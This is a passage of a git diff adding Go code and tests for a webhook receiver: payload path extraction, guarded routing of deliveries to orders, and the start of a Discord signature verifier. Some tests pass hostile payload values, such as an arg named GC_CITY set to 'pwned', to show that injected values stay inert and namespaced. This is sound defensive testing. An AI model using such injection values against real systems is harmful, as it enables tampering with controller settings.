+			"blob":  huge,
+		},
+	}
+	rule := config.WebhookRule{
+		Event: "pull_request",
+		Match: map[string]string{"action": "opened"},
+		Order: "pr-review-request",
+		Args: map[string]string{
+			"cmd":   "{{attacker.cmd}}",
+			"subst": "{{attacker.subst}}",
+			"blob":  "{{attacker.blob}}",
+		},
+	}
+	res, ok, err := Match(MatchInput{EventType: "pull_request", Body: body}, []config.WebhookRule{rule})
+	if err != nil || !ok {
+		t.Fatalf("Match ok=%v err=%v", ok, err)
+	}
+	// Raw vars are byte-for-byte the payload — never re-interpreted.
+	if res.Vars["cmd"] != evil {
+		t.Errorf("vars[cmd] = %q, want literal %q", res.Vars["cmd"], evil)
+	}
+	if res.Vars["subst"] != subst {
+		t.Errorf("vars[subst] = %q, want literal %q", res.Vars["subst"], subst)
+	}
+	if len(res.Vars["blob"]) != len(huge) {
+		t.Errorf("vars[blob] len = %d, want %d", len(res.Vars["blob"]), len(huge))
+	}
+	// Exec-env view is namespaced: no key can shadow a controller var.
+	env := ExecEnvVars(res.Vars)
+	if env["GC_WEBHOOK_ARG_cmd"] != evil {
+		t.Errorf("env[GC_WEBHOOK_ARG_cmd] = %q, want %q", env["GC_WEBHOOK_ARG_cmd"], evil)
+	}
+	for k := range env {
+		if !strings.HasPrefix(k, ExecEnvArgPrefix) {
+			t.Errorf("exec env key %q escaped the %s namespace", k, ExecEnvArgPrefix)
+		}
+	}
+}
+
+// R4 (defense in depth): even if a reserved-name arg slipped past config
+// validation, extraction skips it so it never reaches Vars.
+func TestMatch_ReservedArgNameSkippedAtExtraction(t *testing.T) {
+	rule := config.WebhookRule{
+		Event: "*",
+		Order: "o",
+		Args: map[string]string{
+			"GC_CITY": "{{action}}", // reserved controller key
+			"repo":    "{{action}}", // legitimate
+		},
+	}
+	body := mustParse(t, `{"action":"opened"}`)
+	res, ok, err := Match(MatchInput{EventType: "e", Body: body}, []config.WebhookRule{rule})
+	if err != nil || !ok {
+		t.Fatalf("Match ok=%v err=%v", ok, err)
+	}
+	if _, present := res.Vars["GC_CITY"]; present {
+		t.Error("reserved arg GC_CITY was extracted, want skipped")
+	}
+	if res.Vars["repo"] != "opened" {
+		t.Errorf("vars[repo] = %q, want opened", res.Vars["repo"])
+	}
+}
diff --git a/internal/webhookmatch/path.go b/internal/webhookmatch/path.go
new file mode 100644
index 0000000000..264ae9bfd0
--- /dev/null
+++ b/internal/webhookmatch/path.go
@@ -0,0 +1,90 @@
+package webhookmatch
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"strconv"
+	"strings"
+)
+
+// ParseBody decodes a raw webhook body into a generic tree suitable for path
+// resolution. It uses json.Number so numeric payload fields round-trip to their
+// exact source text (e.g. a PR number "1347" stays "1347"), which the extraction
+// coercion relies on. A body whose top-level value is not a JSON object is
+// rejected: every webhook provider this receiver targets posts an object.
+func ParseBody(raw []byte) (map[string]any, error) {
+	dec := json.NewDecoder(bytes.NewReader(raw))
+	dec.UseNumber()
+	var v any
+	if err := dec.Decode(&v); err != nil {
+		return nil, fmt.Errorf("webhookmatch: parse body: %w", err)
+	}
+	obj, ok := v.(map[string]any)
+	if !ok {
+		return nil, fmt.Errorf("webhookmatch: parse body: top-level JSON value is %T, want object", v)
+	}
+	return obj, nil
+}
+
+// resolvePath walks a dotted path into a decoded JSON tree. Object segments
+// index by key; array segments index by a non-negative decimal position. It
+// reports (value, true) when the whole path resolves — including a resolved
+// JSON null, which is (nil, true) — and (nil, false) when any segment is
+// missing, out of range, or lands on a scalar mid-path. It never panics.
+func resolvePath(root any, path string) (any, bool) {
+	if path == "" {
+		return nil, false
+	}
+	cur := root
+	for _, part := range strings.Split(path, ".") {
+		switch node := cur.(type) {
+		case map[string]any:
+			v, ok := node[part]
+			if !ok {
+				return nil, false
+			}
+			cur = v
+		case []any:
+			idx, err := strconv.Atoi(part)
+			if err != nil || idx < 0 || idx >= len(node) {
+				return nil, false
+			}
+			cur = node[idx]
+		default:
+			// A scalar (or nil) with path segments remaining cannot be indexed.
+			return nil, false
+		}
+	}
+	return cur, true
+}
+
+// coerceToString renders a resolved JSON value as a deterministic string.
+// Scalars map to their natural text; JSON null maps to the empty string; a
+// nested object or array maps to its compact JSON encoding. The result is always
+// an inert string — never re-interpreted as a path or command by this package.
+func coerceToString(v any) (string, error) {
+	switch t := v.(type) {
+	case nil:
+		return "", nil
+	case string:
+		return t, nil
+	case bool:
+		if t {
+			return "true", nil
+		}
+		return "false", nil
+	case json.Number:
+		return t.String(), nil
+	case float64:
+		// Only reached if a caller parsed the body without UseNumber; keep the
+		// shortest exact decimal so integral values don't grow a ".000000" tail.
+		return strconv.FormatFloat(t, 'f', -1, 64), nil
+	default:
+		b, err := json.Marshal(t)
+		if err != nil {
+			return "", fmt.Errorf("webhookmatch: encode value of type %T: %w", v, err)
+		}
+		return string(b), nil
+	}
+}
diff --git a/internal/webhookmatch/path_test.go b/internal/webhookmatch/path_test.go
new file mode 100644
index 0000000000..b77dba940d
--- /dev/null
+++ b/internal/webhookmatch/path_test.go
@@ -0,0 +1,108 @@
+package webhookmatch
+
+import "testing"
+
+func mustParse(t *testing.T, raw string) map[string]any {
+	t.Helper()
+	body, err := ParseBody([]byte(raw))
+	if err != nil {
+		t.Fatalf("ParseBody(%s): %v", raw, err)
+	}
+	return body
+}
+
+func TestParseBody_RejectsNonObject(t *testing.T) {
+	for _, raw := range []string{`[1,2,3]`, `"a string"`, `42`, `true`, `null`, ``, `{bad`} {
+		if _, err := ParseBody([]byte(raw)); err == nil {
+			t.Errorf("ParseBody(%q) = nil error, want error", raw)
+		}
+	}
+}
+
+func TestResolvePath(t *testing.T) {
+	body := mustParse(t, `{
+		"action": "opened",
+		"pull_request": {"number": 1347, "state": "open", "draft": false, "merged_at": null},
+		"issue": {"labels": [{"name": "bug"}, {"name": "status/needs-review"}]},
+		"repository": {"full_name": "octo/hello"}
+	}`)
+
+	cases := []struct {
+		path    string
+		want    string
+		wantOK  bool
+		wantNil bool // resolved value is JSON null (ok=true, value=nil)
+	}{
+		{path: "action", want: "opened", wantOK: true},
+		{path: "pull_request.number", want: "1347", wantOK: true},
+		{path: "pull_request.state", want: "open", wantOK: true},
+		{path: "pull_request.draft", want: "false", wantOK: true},
+		{path: "repository.full_name", want: "octo/hello", wantOK: true},
+		{path: "issue.labels.0.name", want: "bug", wantOK: true},
+		{path: "issue.labels.1.name", want: "status/needs-review", wantOK: true},
+		{path: "pull_request.merged_at", want: "", wantOK: true, wantNil: true},
+		// misses — never panic, always (nil,false)
+		{path: "", wantOK: false},
+		{path: "missing", wantOK: false},
+		{path: "pull_request.missing", wantOK: false},
+		{path: "issue.labels.9.name", wantOK: false},   // index out of range
+		{path: "issue.labels.-1.name", wantOK: false},  // negative index
+		{path: "issue.labels.name", wantOK: false},     // non-numeric index into array
+		{path: "action.nope", wantOK: false},           // segment past a scalar
+		{path: "pull_request.number.x", wantOK: false}, // segment past a number
+	}
+	for _, tc := range cases {
+		got, ok := resolvePath(body, tc.path)
+		if ok != tc.wantOK {
+			t.Errorf("resolvePath(%q) ok = %v, want %v", tc.path, ok, tc.wantOK)
+			continue
+		}
+		if !ok {
+			continue
+		}
+		if tc.wantNil && got != nil {
+			t.Errorf("resolvePath(%q) = %v, want JSON null", tc.path, got)
+		}
+		s, err := coerceToString(got)
+		if err != nil {
+			t.Errorf("coerceToString(%q): %v", tc.path, err)
+			continue
+		}
+		if s != tc.want {
+			t.Errorf("resolvePath(%q) coerced = %q, want %q", tc.path, s, tc.want)
+		}
+	}
+}
+
+func TestCoerceToString_Types(t *testing.T) {
+	body := mustParse(t, `{
+		"s": "text", "n": 1347, "big": 10000000000, "f": 3.5,
+		"b": true, "z": null,
+		"obj": {"a": 1}, "arr": [1, "two", false]
+	}`)
+	cases := map[string]string{
+		"s":   "text",
+		"n":   "1347",
+		"big": "10000000000",
+		"f":   "3.5",
+		"b":   "true",
+		"z":   "",
+		"obj": `{"a":1}`,
+		"arr": `[1,"two",false]`,
+	}
+	for path, want := range cases {
+		v, ok := resolvePath(body, path)
+		if !ok {
+			t.Errorf("resolvePath(%q) missing", path)
+			continue
+		}
+		got, err := coerceToString(v)
+		if err != nil {
+			t.Errorf("coerceToString(%q): %v", path, err)
+			continue
+		}
+		if got != want {
+			t.Errorf("coerceToString(%q) = %q, want %q", path, got, want)
+		}
+	}
+}
diff --git a/internal/webhookmatch/testenv_import_test.go b/internal/webhookmatch/testenv_import_test.go
new file mode 100644
index 0000000000..66086efd9d
--- /dev/null
+++ b/internal/webhookmatch/testenv_import_test.go
@@ -0,0 +1,5 @@
+// Code generated by go run scripts/add-testenv-import.go; DO NOT EDIT.
+
+package webhookmatch
+
+import _ "github.com/gastownhall/gascity/internal/testenv"
diff --git a/internal/webhooksink/sink.go b/internal/webhooksink/sink.go
new file mode 100644
index 0000000000..3a37f4b70c
--- /dev/null
+++ b/internal/webhooksink/sink.go
@@ -0,0 +1,224 @@
+// Package webhooksink routes a verified+matched webhook delivery to its sink.
+//
+// It is the E6 stage of the supervisor webhook receiver. Given a
+// [webhookmatch.MatchResult] (the resolved rule + extracted args from E5) it
+// fires one of two sinks:
+//
+//   - target="order": dispatch order(args) through the shared
+//     [orderdispatch.Dispatcher] seam (E0.5), which reuses the controller's
+//     dispatchOne core. The order sink is fully wired here.
+//   - target="conversation": route the verified payload into the realtime chat
+//     path (Slack/Discord → extmsg). Only the seam ([ConversationSink]) lives
+//     here; the working implementation is E7, so the default is a clean stub
+//     that never touches the order path.
+//
+// # Guards (order sink)
+//
+// Before anything fires, routeOrder enforces, in order:
+//
+//  1. the rule's {order, rig} is within the receiving webhook's provenance scope
+//     (R4): a rig-scoped webhook may target only its own rig; a city-scoped
+//     webhook may target the city or any rig;
+//  2. the resolved order opts in with trigger="webhook" — a webhook may never
+//     fire an order that did not declare itself webhook-triggered;
+//  3. every declared-required param is present in the extracted args (E1).
+//
+// # R4 — arg namespacing
+//
+// The extracted args come from the untrusted payload. Required-param validation
+// and the formula ExpandVars channel key on the raw declared param name, so
+// [MatchResult.Vars] is passed through as-is for those. For an exec order's
+// process environment — the one place an un-namespaced key could shadow a
+// controller-owned variable (GC_CITY, BEADS_DIR, …) or a static [order.env]
+// entry — the args are routed through [webhookmatch.ExecEnvVars], which prefixes
+// every key with GC_WEBHOOK_ARG_. A payload therefore cannot inject a control
+// key even if one slipped past the E2 load-time and E5 extraction guards.
+package webhooksink
+
+import (
+	"context"
+	"fmt"
+	"strings"
+
+	"github.com/gastownhall/gascity/internal/orderdispatch"
+	"github.com/gastownhall/gascity/internal/orders"
+	"github.com/gastownhall/gascity/internal/webhookmatch"
+)
+
+// OrderResolver looks up a resolved order by name and effective rig. rig is
+// empty for a city-level order. It returns false when no such order is
+// configured. The receiver (E3) backs this with the city's scanned order set.
+type OrderResolver func(name, rig string) (orders.Order, bool)
+
+// WebhookScope carries the receiving webhook's provenance and dispatch scope so
+// the sink can constrain which {order, rig} a delivery may target (R4). The
+// receiver (E3) populates it from the matched config.Webhook.
+type WebhookScope struct {
+	// Name is the webhook name, used in rejection reasons and audit.
+	Name string
+	// Scope is the webhook's dispatch scope: "city" or "rig" (empty ⇒ city).
+	Scope string
+	// Rig is the webhook's own rig when Scope=="rig" (empty for city scope).
+	Rig string
+	// SourceDir is the pack/fragment provenance ("" ⇒ operator-authored root).
+	// Carried for future content-scoped consent (R3); not consulted by v0 rig
+	// scoping, which keys on Scope/Rig.
+	SourceDir string
+}
+
+// ConversationSink routes a verified conversation-target delivery into the
+// realtime chat path (Slack/Discord → extmsg). It is defined here so the order
+// sink and the receiver depend on a stable seam; the working implementation is
+// E7 (provider-normalizer → extmsg.HandleInboundNormalized).
+type ConversationSink interface {
+	Deliver(ctx context.Context, match webhookmatch.MatchResult) (Result, error)
+}
+
+// Deps are the collaborators the sink needs. Dispatcher fires order-target
+// deliveries; ResolveOrder maps a rule's {order, rig} to a configured order;
+// Conversation handles conversation-target deliveries (defaults to the stub).
+type Deps struct {
+	Dispatcher   orderdispatch.Dispatcher
+	ResolveOrder OrderResolver
+	Conversation ConversationSink
+}
+
+// Result is the outcome of routing one verified+matched delivery to its sink.
+type Result struct {
+	// Target is the sink that handled the delivery ("order" | "conversation").
+	Target string
+	// Dispatched is true when an order was accepted and launched.
+	Dispatched bool
+	// Rejected is true when a guard refused the delivery before any side effect.
+	Rejected bool
+	// Reason explains a rejection or a stubbed sink (empty on a clean dispatch).
+	Reason string
+	// Dispatch carries the seam result for an order-target delivery.
+	Dispatch orderdispatch.DispatchResult
+}
+
+// Route sends one verified+matched delivery to the sink its rule selects.
+func Route(ctx context.Context, deps Deps, scope WebhookScope, match webhookmatch.MatchResult) (Result, error) {
+	switch strings.TrimSpace(strings.ToLower(match.Target)) {
+	case "", "order":
+		return routeOrder(ctx, deps, scope, match)
+	case "conversation":
+		return routeConversation(ctx, deps, match)
+	default:
+		return Result{Target: match.Target, Rejected: true, Reason: fmt.Sprintf("unknown sink target %q", match.Target)}, nil
+	}
+}
+
+func routeOrder(ctx context.Context, deps Deps, scope WebhookScope, match webhookmatch.MatchResult) (Result, error) {
+	res := Result{Target: "order"}
+
+	// (1) R4 rig scoping: constrain the target rig to the webhook's scope.
+	effectiveRig, reason := scopedRig(scope, match.Rig)
+	if reason != "" {
+		res.Rejected = true
+		res.Reason = reason
+		return res, nil
+	}
+
+	if deps.ResolveOrder == nil {
+		return res, fmt.Errorf("webhooksink: no order resolver configured")
+	}
+	a, found := deps.ResolveOrder(match.Order, effectiveRig)
+	if !found {
+		res.Rejected = true
+		res.Reason = fmt.Sprintf("order %q not found for rig %q", match.Order, effectiveRig)
+		return res, nil
+	}
+
+	// (2) A webhook may fire only orders that explicitly opt in.
+	if strings.TrimSpace(a.Trigger) != "webhook" {
+		res.Rejected = true
+		res.Reason = fmt.Sprintf("order %q has trigger %q; a webhook may only fire trigger=\"webhook\" orders", a.ScopedName(), a.Trigger)
+		return res, nil
+	}
+
+	// (3) Required-param validation against the RAW extracted args (keyed by the
+	// declared param name), before any namespacing.
+	if err := orders.ValidateRequiredParams(a, match.Vars); err != nil {
+		res.Rejected = true
+		res.Reason = err.Error()
+		return res, nil
+	}
+
+	if deps.Dispatcher == nil {
+		return res, fmt.Errorf("webhooksink: no dispatcher configured")
+	}
+
+	// R4: raw args feed validation + formula ExpandVars; the exec-env overlay is
+	// namespaced so a payload can never shadow a controller/static env key.
+	out, err := deps.Dispatcher.Dispatch(ctx, orderdispatch.DispatchRequest{
+		Order:   a,
+		Vars:    match.Vars,
+		ExecEnv: webhookmatch.ExecEnvVars(match.Vars),
+		Source:  orderdispatch.SourceWebhook,
+	})
+	if err != nil {
+		return res, err
+	}
+	res.Dispatch = out
+	res.Dispatched = out.Fired
+	res.Rejected = out.Rejected
+	res.Reason = out.Reason
+	return res, nil
+}
+
+// scopedRig resolves the effective target rig for a rule and enforces the
+// webhook's provenance scope (R4). It returns the effective rig and an empty
+// reason on success, or an empty rig and a non-empty rejection reason.
+//
+// SAFE interpretation (the design's R4 "constrain {order,rig} to the pack
+// SourceDir scope" is otherwise ambiguous, so this picks the conservative rule
+// and documents it):
+//
+//   - rig-scoped webhook (Scope=="rig"): may target ONLY its own rig. A rule
+//     with no rig inherits the webhook's rig; a rule naming any other rig is
+//     refused.
+//   - city-scoped webhook (Scope=="city" or empty): may target the city
+//     (rule rig empty) or any rig the rule names. A city-scoped webhook is
+//     declared at city provenance, so it is not confined to a single rig.
+func scopedRig(scope WebhookScope, ruleRig string) (string, string) {
+	ruleRig = strings.TrimSpace(ruleRig)
+	switch strings.TrimSpace(strings.ToLower(scope.Scope)) {
+	case "rig":
+		own := strings.TrimSpace(scope.Rig)
+		if own == "" {
+			return "", fmt.Sprintf("webhook %q is rig-scoped but declares no rig binding", scope.Name)
+		}
+		if ruleRig == "" || ruleRig == own {
+			return own, ""
+		}
+		return "", fmt.Sprintf("webhook %q is rig-scoped to %q and may not target foreign rig %q", scope.Name, own, ruleRig)
+	default:
+		// city (or unspecified): the rule's rig stands as-is.
+		return ruleRig, ""
+	}
+}
+
+func routeConversation(ctx context.Context, deps Deps, match webhookmatch.MatchResult) (Result, error) {
+	sink := deps.Conversation
+	if sink == nil {
+		sink = StubConversationSink{}
+	}
+	return sink.Deliver(ctx, match)
+}
+
+// StubConversationSink is the default conversation sink until E7 lands. It never
+// touches the order path and always reports that conversation delivery is not
+// yet wired, so an order-sink deployment is unaffected by the missing chat path.
+type StubConversationSink struct{}
+
+// Deliver reports that the conversation sink is not yet wired.
+func (StubConversationSink) Deliver(_ context.Context, _ webhookmatch.MatchResult) (Result, error) {
+	// TODO(E7): normalize the verified payload into an
+	// extmsg.ExternalInboundMessage (per-provider: Slack url_verification
+	// challenge + retry headers, Discord PING→PONG) and route it via
+	// extmsg.HandleInboundNormalized so a session/agent inbox receives it, with
+	// the provider's fast-ACK reply on the pack's registered HTTPAdapter. Until
+	// then this is a clean no-op that keeps the order sink fully functional.
+	return Result{Target: "conversation", Rejected: true, Reason: "conversation sink not yet wired (E7)"}, nil
+}
diff --git a/internal/webhooksink/sink_test.go b/internal/webhooksink/sink_test.go
new file mode 100644
index 0000000000..b548d1114f
--- /dev/null
+++ b/internal/webhooksink/sink_test.go
@@ -0,0 +1,267 @@
+package webhooksink
+
+import (
+	"context"
+	"strings"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/orderdispatch"
+	"github.com/gastownhall/gascity/internal/orders"
+	"github.com/gastownhall/gascity/internal/webhookmatch"
+)
+
+// fakeDispatcher records the last request it was handed so tests can assert what
+// the sink forwards to the seam, without a live city.
+type fakeDispatcher struct {
+	calls int
+	last  orderdispatch.DispatchRequest
+	ret   orderdispatch.DispatchResult
+	err   error
+}
+
+func (f *fakeDispatcher) Dispatch(_ context.Context, req orderdispatch.DispatchRequest) (orderdispatch.DispatchResult, error) {
+	f.calls++
+	f.last = req
+	return f.ret, f.err
+}
+
+func resolverFor(a orders.Order) OrderResolver {
+	return func(name, rig string) (orders.Order, bool) {
+		if name == a.Name && rig == a.Rig {
+			return a, true
+		}
+		return orders.Order{}, false
+	}
+}
+
+// (a) A matched order-sink delivery fires the seam with the raw args for the
+// formula/validation channel, the namespaced args for the exec-env overlay, the
+// webhook Source, and the correct order/rig.
+func TestRouteOrderFiresSeamWithNamespacedVars(t *testing.T) {
+	order := orders.Order{
+		Name:    "pr-review",
+		Trigger: "webhook",
+		Formula: "pr-review",
+		Params:  map[string]orders.OrderParam{"repo": {Required: true}, "pr": {Required: true}},
+	}
+	disp := &fakeDispatcher{ret: orderdispatch.DispatchResult{ScopedName: "pr-review", TrackingID: "tb-1", Fired: true}}
+	deps := Deps{Dispatcher: disp, ResolveOrder: resolverFor(order)}
+
+	match := webhookmatch.MatchResult{
+		Target: "order",
+		Order:  "pr-review",
+		Vars:   map[string]string{"repo": "octo/demo", "pr": "1347"},
+	}
+
+	res, err := Route(context.Background(), deps, WebhookScope{Name: "github", Scope: "city"}, match)
+	if err != nil {
+		t.Fatalf("Route: %v", err)
+	}
+	if !res.Dispatched || res.Rejected {
+		t.Fatalf("expected dispatched, got %+v", res)
+	}
+	if disp.calls != 1 {
+		t.Fatalf("dispatcher called %d times, want 1", disp.calls)
+	}
+	if disp.last.Order.Name != "pr-review" || disp.last.Order.Rig != "" {
+		t.Fatalf("dispatched order = %q rig %q, want pr-review/city", disp.last.Order.Name, disp.last.Order.Rig)
+	}
+	if disp.last.Source != orderdispatch.SourceWebhook {
+		t.Fatalf("source = %q, want webhook", disp.last.Source)
+	}
+	// Raw vars (param-named) for validation + formula ExpandVars.
+	if disp.last.Vars["repo"] != "octo/demo" || disp.last.Vars["pr"] != "1347" {
+		t.Fatalf("raw Vars = %v, want repo/pr by declared name", disp.last.Vars)
+	}
+	// Namespaced vars for the exec-env overlay.
+	if disp.last.ExecEnv["GC_WEBHOOK_ARG_repo"] != "octo/demo" || disp.last.ExecEnv["GC_WEBHOOK_ARG_pr"] != "1347" {
+		t.Fatalf("ExecEnv = %v, want GC_WEBHOOK_ARG_-prefixed keys", disp.last.ExecEnv)
+	}
+	if _, bare := disp.last.ExecEnv["repo"]; bare {
+		t.Fatalf("ExecEnv leaked bare param key: %v", disp.last.ExecEnv)
+	}
+	if res.Dispatch.TrackingID != "tb-1" {
+		t.Fatalf("result tracking id = %q, want tb-1", res.Dispatch.TrackingID)
+	}
+}
+
+// (b) A delivery targeting an order that is not trigger="webhook" is refused,
+// and nothing is dispatched.
+func TestRouteOrderRefusesNonWebhookTrigger(t *testing.T) {
+	order := orders.Order{Name: "nightly", Trigger: "manual", Formula: "nightly"}
+	disp := &fakeDispatcher{}
+	deps := Deps{Dispatcher: disp, ResolveOrder: resolverFor(order)}
+
+	res, err := Route(context.Background(), deps, WebhookScope{Name: "github", Scope: "city"},
+		webhookmatch.MatchResult{Target: "order", Order: "nightly"})
+	if err != nil {
+		t.Fatalf("Route: %v", err)
+	}
+	if !res.Rejected || res.Dispatched {
+		t.Fatalf("expected refusal, got %+v", res)
+	}
+	if disp.calls != 0 {
+		t.Fatalf("dispatcher called %d times; a non-webhook order must never dispatch", disp.calls)
+	}
+	if !strings.Contains(res.Reason, "trigger") || !strings.Contains(res.Reason, "webhook") {
+		t.Fatalf("reason = %q, want it to explain the trigger requirement", res.Reason)
+	}
+}
+
+// (c) A rig-scoped webhook targeting a foreign rig is refused before resolution.
+func TestRouteOrderRefusesForeignRig(t *testing.T) {
+	// Resolver would happily return an order for the foreign rig; the scope guard
+	// must reject before resolution is even attempted.
+	order := orders.Order{Name: "deploy", Trigger: "webhook", Rig: "intruder", Formula: "deploy"}
+	disp := &fakeDispatcher{ret: orderdispatch.DispatchResult{Fired: true}}
+	deps := Deps{Dispatcher: disp, ResolveOrder: resolverFor(order)}
+
+	res, err := Route(context.Background(), deps,
+		WebhookScope{Name: "maintainer-hook", Scope: "rig", Rig: "maintainer"},
+		webhookmatch.MatchResult{Target: "order", Order: "deploy", Rig: "intruder"})
+	if err != nil {
+		t.Fatalf("Route: %v", err)
+	}
+	if !res.Rejected || res.Dispatched {
+		t.Fatalf("expected refusal, got %+v", res)
+	}
+	if disp.calls != 0 {
+		t.Fatalf("dispatcher called %d times; a foreign-rig target must never dispatch", disp.calls)
+	}
+	if !strings.Contains(res.Reason, "maintainer") || !strings.Contains(res.Reason, "intruder") {
+		t.Fatalf("reason = %q, want it to name the scoped and foreign rig", res.Reason)
+	}
+}
+
+// A rig-scoped webhook targeting its OWN rig (or inheriting it via an empty rule
+// rig) resolves to that rig and dispatches.
+func TestRouteOrderRigScopedInheritsOwnRig(t *testing.T) {
+	order := orders.Order{Name: "deploy", Trigger: "webhook", Rig: "maintainer", Formula: "deploy"}
+	disp := &fakeDispatcher{ret: orderdispatch.DispatchResult{Fired: true}}
+	deps := Deps{Dispatcher: disp, ResolveOrder: resolverFor(order)}
+
+	// Empty rule rig inherits the webhook's rig.
+	res, err := Route(context.Background(), deps,
+		WebhookScope{Name: "maintainer-hook", Scope: "rig", Rig: "maintainer"},
+		webhookmatch.MatchResult{Target: "order", Order: "deploy", Rig: ""})
+	if err != nil {
+		t.Fatalf("Route: %v", err)
+	}
+	if !res.Dispatched {
+		t.Fatalf("expected dispatch to own rig, got %+v", res)
+	}
+	if disp.last.Order.Rig != "maintainer" {
+		t.Fatalf("dispatched rig = %q, want maintainer", disp.last.Order.Rig)
+	}
+}
+
+// (d) R4: payload-derived vars land only under GC_WEBHOOK_ARG_ and cannot shadow
+// a reserved controller key even if one slips through as an arg name. The raw
+// vars still carry the value for the formula/validation channel.
+func TestRouteOrderNamespacesReservedArgName(t *testing.T) {
+	order := orders.Order{
+		Name:    "pr-review",
+		Trigger: "webhook",
+		Formula: "pr-review",
+		Params:  map[string]orders.OrderParam{"repo": {Required: true}},
+	}
+	disp := &fakeDispatcher{ret: orderdispatch.DispatchResult{Fired: true}}
+	deps := Deps{Dispatcher: disp, ResolveOrder: resolverFor(order)}
+
+	// A hostile payload arg literally named GC_CITY (E2/E5 would normally reject
+	// or drop it; prove the sink neutralizes it end-to-end regardless).
+	match := webhookmatch.MatchResult{
+		Target: "order",
+		Order:  "pr-review",
+		Vars:   map[string]string{"repo": "octo/demo", "GC_CITY": "pwned"},
+	}
+	res, err := Route(context.Background(), deps, WebhookScope{Name: "github", Scope: "city"}, match)
+	if err != nil {
+		t.Fatalf("Route: %v", err)
+	}
+	if !res.Dispatched {
+		t.Fatalf("expected dispatch, got %+v", res)
+	}
+	// The exec-env overlay must NOT contain a bare GC_CITY that could shadow the
+	// controller's own value; the arg is namespaced instead.
+	if _, bare := disp.last.ExecEnv["GC_CITY"]; bare {
+		t.Fatalf("ExecEnv leaked a bare reserved key GC_CITY: %v", disp.last.ExecEnv)
+	}
+	if disp.last.ExecEnv["GC_WEBHOOK_ARG_GC_CITY"] != "pwned" {
+		t.Fatalf("ExecEnv = %v, want the hostile arg namespaced under GC_WEBHOOK_ARG_GC_CITY", disp.last.ExecEnv)
+	}
+}
+
+// (e) A delivery missing a declared-required param is refused with a reason that
+// names the param, and nothing is dispatched.
+func TestRouteOrderRefusesMissingRequiredParam(t *testing.T) {
+	order := orders.Order{
+		Name:    "pr-review",
+		Trigger: "webhook",
+		Formula: "pr-review",
+		Params:  map[string]orders.OrderParam{"repo": {Required: true}, "pr": {Required: true}},
+	}
+	disp := &fakeDispatcher{}
+	deps := Deps{Dispatcher: disp, ResolveOrder: resolverFor(order)}
+
+	// Only "pr" supplied; required "repo" is absent.
+	res, err := Route(context.Background(), deps, WebhookScope{Name: "github", Scope: "city"},
+		webhookmatch.MatchResult{Target: "order", Order: "pr-review", Vars: map[string]string{"pr": "1"}})
+	if err != nil {
+		t.Fatalf("Route: %v", err)
+	}
+	if !res.Rejected || res.Dispatched {
+		t.Fatalf("expected refusal, got %+v", res)
+	}
+	if disp.calls != 0 {
+		t.Fatalf("dispatcher called %d times; a missing required param must never dispatch", disp.calls)
+	}
+	if !strings.Contains(res.Reason, "repo") || !strings.Contains(res.Reason, "required") {
+		t.Fatalf("reason = %q, want it to name the missing required param repo", res.Reason)
+	}
+}
+
+// (f) A conversation-target delivery is handed to the conversation sink and
+// never touches the order path (the dispatcher is not called).
+func TestRouteConversationDoesNotTouchOrderPath(t *testing.T) {
+	disp := &fakeDispatcher{}
+	deps := Deps{Dispatcher: disp, ResolveOrder: func(string, string) (orders.Order, bool) {
+		t.Fatal("resolver must not be called for a conversation delivery")
+		return orders.Order{}, false
+	}}
+
+	res, err := Route(context.Background(), deps, WebhookScope{Name: "slack", Scope: "city"},
+		webhookmatch.MatchResult{Target: "conversation"})
+	if err != nil {
+		t.Fatalf("Route: %v", err)
+	}
+	if res.Target != "conversation" {
+		t.Fatalf("target = %q, want conversation", res.Target)
+	}
+	if disp.calls != 0 {
+		t.Fatalf("dispatcher called %d times for a conversation delivery", disp.calls)
+	}
+	if !strings.Contains(res.Reason, "not yet wired") {
+		t.Fatalf("reason = %q, want the stub's not-yet-wired message", res.Reason)
+	}
+}
+
+// A custom ConversationSink is honored over the stub.
+func TestRouteConversationUsesInjectedSink(t *testing.T) {
+	deps := Deps{Conversation: convFunc(func(context.Context, webhookmatch.MatchResult) (Result, error) {
+		return Result{Target: "conversation", Dispatched: true}, nil
+	})}
+	res, err := Route(context.Background(), deps, WebhookScope{}, webhookmatch.MatchResult{Target: "conversation"})
+	if err != nil {
+		t.Fatalf("Route: %v", err)
+	}
+	if !res.Dispatched {
+		t.Fatalf("expected injected conversation sink to handle delivery, got %+v", res)
+	}
+}
+
+type convFunc func(context.Context, webhookmatch.MatchResult) (Result, error)
+
+func (f convFunc) Deliver(ctx context.Context, m webhookmatch.MatchResult) (Result, error) {
+	return f(ctx, m)
+}
diff --git a/internal/webhooksink/testenv_import_test.go b/internal/webhooksink/testenv_import_test.go
new file mode 100644
index 0000000000..c987a12bc9
--- /dev/null
+++ b/internal/webhooksink/testenv_import_test.go
@@ -0,0 +1,5 @@
+// Code generated by go run scripts/add-testenv-import.go; DO NOT EDIT.
+
+package webhooksink
+
+import _ "github.com/gastownhall/gascity/internal/testenv"
diff --git a/internal/webhookverify/discord.go b/internal/webhookverify/discord.go
new file mode 100644
index 0000000000..891efed182
--- /dev/null
+++ b/internal/webhookverify/discord.go
@@ -0,0 +1,123 @@
+package webhookverify
+
+import (
+	"context"
+	"crypto/ed25519"
+	"encoding/hex"
+	"errors"
+	"fmt"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/config"
+)
+
+const (
+	discordSignatureHeader = "X-Signature-Ed25519"
+	discordTimestampHeader = "X-Signature-Timestamp"
+	// discordDefaultWindow mirrors slack's default replay window (5 min): Discord
+	// signs "{timestamp}{body}", so the timestamp is signature-covered and can
+	// gate replays exactly as slack's does.
+	discordDefaultWindow = 5 * time.Minute
+)
+
+// discordEd25519 verifies Discord's interactions signature: an Ed25519
+// signature over "{timestamp}{rawbody}" against the application's public key.
+// The "secret material" here is a public key — still operator-provided — carried
+// in VerifyRequest.Secret as hex (Discord's portal form) or raw 32 bytes.
+//
+// Discord PING (interaction type 1) handling and the PONG response are the
+// receiver's concern (E3); this layer only authenticates the request. When a
+// dedup header is configured it is surfaced so the receiver can dedup; Discord
+// carries no native delivery id.
+type discordEd25519 struct {
+	signatureHeader string
+	timestampHeader string
+	dedupHeader     string
+	window          time.Duration
+	now             func() time.Time
+}
+
+func newDiscordEd25519(cfg config.WebhookVerify, opts Options) (Verifier, error) {
+	// replay_window is pack-authored, so clamp it down to the operator ceiling
+	// (maxReplayWindow) — a pack must not be able to widen the freshness window.
+	window, err := resolveReplayWindow(cfg.ReplayWindow, discordDefaultWindow)
+	if err != nil {
+		return nil, err
+	}
